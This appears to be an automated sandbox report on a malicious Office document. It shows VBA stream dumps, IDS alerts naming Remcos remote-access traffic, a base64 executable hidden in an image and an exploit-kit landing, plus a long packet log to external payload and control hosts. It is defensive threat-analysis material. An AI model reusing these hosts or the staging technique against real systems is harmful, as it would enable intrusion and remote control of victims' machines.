                    Data ASCII:a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
                    Data Raw:cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00
                    Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553
                    General
                    Stream Path:_VBA_PROJECT_CUR/VBA/dir
                    CLSID:
                    File Type:data
                    Stream Size:553
                    Entropy:6.388839898843743
                    Base64 Encoded:True
                    Data ASCII:. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . h . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E
                    Data Raw:01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 17 f0 b3 68 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

                    Network Behavior

                    Suricata IDS Alerts

                    TimestampProtocolSIDSignatureSource PortDest PortSource IPDest IP
                    2024-07-26T13:19:22.698510+0200TCP2803304ETPRO MALWARE Common Downloader Header Pattern HCa4917380192.168.2.22178.237.33.50
                    2024-07-26T13:19:22.673890+0200TCP2036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection4917218576192.168.2.22192.3.101.142
                    2024-07-26T13:19:21.272858+0200TCP2036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection4917118576192.168.2.22192.3.101.142
                    2024-07-26T13:19:16.653739+0200TCP2047750ET MALWARE Base64 Encoded MZ In Image8049169198.46.176.133192.168.2.22
                    2024-07-26T13:19:17.747207+0200TCP2049038ET MALWARE Malicious Base64 Encoded Payload In Image8049169198.46.176.133192.168.2.22
                    2024-07-26T13:19:18.881777+0200TCP2020424ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M18049170192.3.176.154192.168.2.22

                    Network Port Distribution

                    TCP Packets

                    TimestampSource PortDest PortSource IPDest IP
                    Jul 26, 2024 13:18:51.033917904 CEST4916380192.168.2.22188.114.97.3
                    Jul 26, 2024 13:18:51.038857937 CEST8049163188.114.97.3192.168.2.22
                    Jul 26, 2024 13:18:51.038953066 CEST4916380192.168.2.22188.114.97.3
                    Jul 26, 2024 13:18:54.022010088 CEST4916380192.168.2.22188.114.97.3
                    Jul 26, 2024 13:18:54.027767897 CEST8049163188.114.97.3192.168.2.22
                    Jul 26, 2024 13:18:54.027839899 CEST4916380192.168.2.22188.114.97.3
                    Jul 26, 2024 13:18:54.028036118 CEST4916380192.168.2.22188.114.97.3
                    Jul 26, 2024 13:18:54.032957077 CEST8049163188.114.97.3192.168.2.22
                    Jul 26, 2024 13:18:55.166207075 CEST8049163188.114.97.3192.168.2.22
                    Jul 26, 2024 13:18:55.166620016 CEST4916380192.168.2.22188.114.97.3
                    Jul 26, 2024 13:18:55.192431927 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.199434996 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.199728012 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.199728012 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.204794884 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.719461918 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.719527006 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.719563007 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.719583988 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.719638109 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.719638109 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.719893932 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.719929934 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.719983101 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.720016956 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.720051050 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.720082998 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.720112085 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.720119953 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.720135927 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.720163107 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.724745989 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.724860907 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.726202011 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.726583958 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.726641893 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.807338953 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.807429075 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.807527065 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.807542086 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.807578087 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.807612896 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.807621002 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.807621002 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.807647943 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.807651043 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.807672024 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.807713032 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.807759047 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.807792902 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.807821035 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.807841063 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.807944059 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.807976961 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.808007002 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.808026075 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.808636904 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.808690071 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.808700085 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.808725119 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.808748960 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.808773041 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.808866978 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.808901072 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.808919907 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.808959961 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.809513092 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.809572935 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.809591055 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.809624910 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.809648991 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.809676886 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.809827089 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.809859991 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.809890032 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.809921980 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.810482025 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.810544014 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.811532974 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.811595917 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.896291018 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.896342993 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.896399975 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.896434069 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.896470070 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.896536112 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.896536112 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.896536112 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.896537066 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.896537066 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.896615982 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.896696091 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.896734953 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.896769047 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.896795034 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.896815062 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.896933079 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.896969080 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.896997929 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.897023916 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.897687912 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.897795916 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.897797108 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.897830963 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.897847891 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.897876978 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.897948980 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.897983074 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.897998095 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.898030996 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.898221016 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.898272991 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.898340940 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.898379087 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.898390055 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.898441076 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.898471117 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.898505926 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.898530006 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.898545027 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.909951925 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910012007 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910029888 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.910048008 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910073996 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.910094976 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.910212994 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910245895 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910269022 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.910280943 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910314083 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910403967 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.910403967 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.910640001 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910675049 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910707951 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910726070 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.910726070 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.910795927 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910831928 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910866022 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910871983 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.910871983 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.910900116 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910917044 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.910938025 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:55.910990000 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:55.911007881 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.101680994 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.106868029 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.106947899 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.106961966 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.107040882 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.107059002 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.107103109 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.107106924 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.107141972 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.107157946 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.107194901 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.107299089 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.107333899 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.107358932 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.107368946 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.107384920 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.107418060 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.107578993 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.107615948 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.107639074 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.107661009 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.108109951 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.108170033 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.108190060 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.108225107 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:18:56.108248949 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.108270884 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:18:56.214198112 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:18:56.219037056 CEST8049165188.114.96.3192.168.2.22
                    Jul 26, 2024 13:18:56.219096899 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:18:59.216739893 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:18:59.223577023 CEST8049165188.114.96.3192.168.2.22
                    Jul 26, 2024 13:18:59.223670006 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:18:59.223956108 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:18:59.231687069 CEST8049165188.114.96.3192.168.2.22
                    Jul 26, 2024 13:18:59.765099049 CEST8049165188.114.96.3192.168.2.22
                    Jul 26, 2024 13:18:59.765238047 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:18:59.985436916 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:18:59.995850086 CEST8049165188.114.96.3192.168.2.22
                    Jul 26, 2024 13:19:00.132244110 CEST8049165188.114.96.3192.168.2.22
                    Jul 26, 2024 13:19:00.132349014 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:19:00.140654087 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:19:00.145608902 CEST8049165188.114.96.3192.168.2.22
                    Jul 26, 2024 13:19:00.282799006 CEST8049165188.114.96.3192.168.2.22
                    Jul 26, 2024 13:19:00.282890081 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:19:00.339015961 CEST4916680192.168.2.22188.114.96.3
                    Jul 26, 2024 13:19:00.344072104 CEST8049166188.114.96.3192.168.2.22
                    Jul 26, 2024 13:19:00.344238043 CEST4916680192.168.2.22188.114.96.3
                    Jul 26, 2024 13:19:00.707118988 CEST8049164192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:00.707273006 CEST4916480192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:03.335344076 CEST4916680192.168.2.22188.114.96.3
                    Jul 26, 2024 13:19:03.340888977 CEST8049166188.114.96.3192.168.2.22
                    Jul 26, 2024 13:19:03.340962887 CEST4916680192.168.2.22188.114.96.3
                    Jul 26, 2024 13:19:03.341110945 CEST4916680192.168.2.22188.114.96.3
                    Jul 26, 2024 13:19:03.346334934 CEST8049166188.114.96.3192.168.2.22
                    Jul 26, 2024 13:19:03.900804043 CEST8049166188.114.96.3192.168.2.22
                    Jul 26, 2024 13:19:04.111459017 CEST8049166188.114.96.3192.168.2.22
                    Jul 26, 2024 13:19:04.111624002 CEST4916680192.168.2.22188.114.96.3
                    Jul 26, 2024 13:19:07.373469114 CEST4916780192.168.2.22188.114.97.3
                    Jul 26, 2024 13:19:07.382117033 CEST8049167188.114.97.3192.168.2.22
                    Jul 26, 2024 13:19:07.382208109 CEST4916780192.168.2.22188.114.97.3
                    Jul 26, 2024 13:19:10.370914936 CEST4916780192.168.2.22188.114.97.3
                    Jul 26, 2024 13:19:10.376724005 CEST8049167188.114.97.3192.168.2.22
                    Jul 26, 2024 13:19:10.376806021 CEST4916780192.168.2.22188.114.97.3
                    Jul 26, 2024 13:19:10.377005100 CEST4916780192.168.2.22188.114.97.3
                    Jul 26, 2024 13:19:10.381915092 CEST8049167188.114.97.3192.168.2.22
                    Jul 26, 2024 13:19:10.971007109 CEST8049167188.114.97.3192.168.2.22
                    Jul 26, 2024 13:19:11.050141096 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:19:11.055486917 CEST8049165188.114.96.3192.168.2.22
                    Jul 26, 2024 13:19:11.182017088 CEST4916780192.168.2.22188.114.97.3
                    Jul 26, 2024 13:19:11.183284044 CEST8049167188.114.97.3192.168.2.22
                    Jul 26, 2024 13:19:11.183348894 CEST4916780192.168.2.22188.114.97.3
                    Jul 26, 2024 13:19:11.194905996 CEST8049165188.114.96.3192.168.2.22
                    Jul 26, 2024 13:19:11.195080996 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:19:11.520173073 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:11.525722980 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:11.525810003 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:11.526165009 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:11.531095028 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.056664944 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.056730986 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.056766987 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.056814909 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.056849003 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.056875944 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.056910038 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.056931019 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.056962013 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.056981087 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.057015896 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.057034969 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.057065010 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.057085037 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.057118893 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.057137966 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.057168961 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.057190895 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.057238102 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.062110901 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.062186956 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.062201977 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.062248945 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.137639999 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.146806955 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.146879911 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.146962881 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.146997929 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.147018909 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.147048950 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.147075891 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.147128105 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.151762962 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.151798010 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.151817083 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.151844978 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.151870012 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.151916981 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.151942968 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.151995897 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.156636000 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.156671047 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.156691074 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.156717062 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.156757116 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.156790972 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.156822920 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.156840086 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.156868935 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.156924009 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.161391020 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.161427975 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.161447048 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.161475897 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.161528111 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.161564112 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.161643982 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.161673069 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.166176081 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.166210890 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.166229963 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.166254044 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.166296005 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.166330099 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.166348934 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.166376114 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.170931101 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.170964956 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.170986891 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.171008110 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.171036959 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.171086073 CEST4916880192.168.2.22192.3.176.154
                    Jul 26, 2024 13:19:12.237742901 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.237796068 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.237816095 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.237833023 CEST8049168192.3.176.154192.168.2.22
                    Jul 26, 2024 13:19:12.237953901 CEST4916880192.168.2.22192.3.176.154
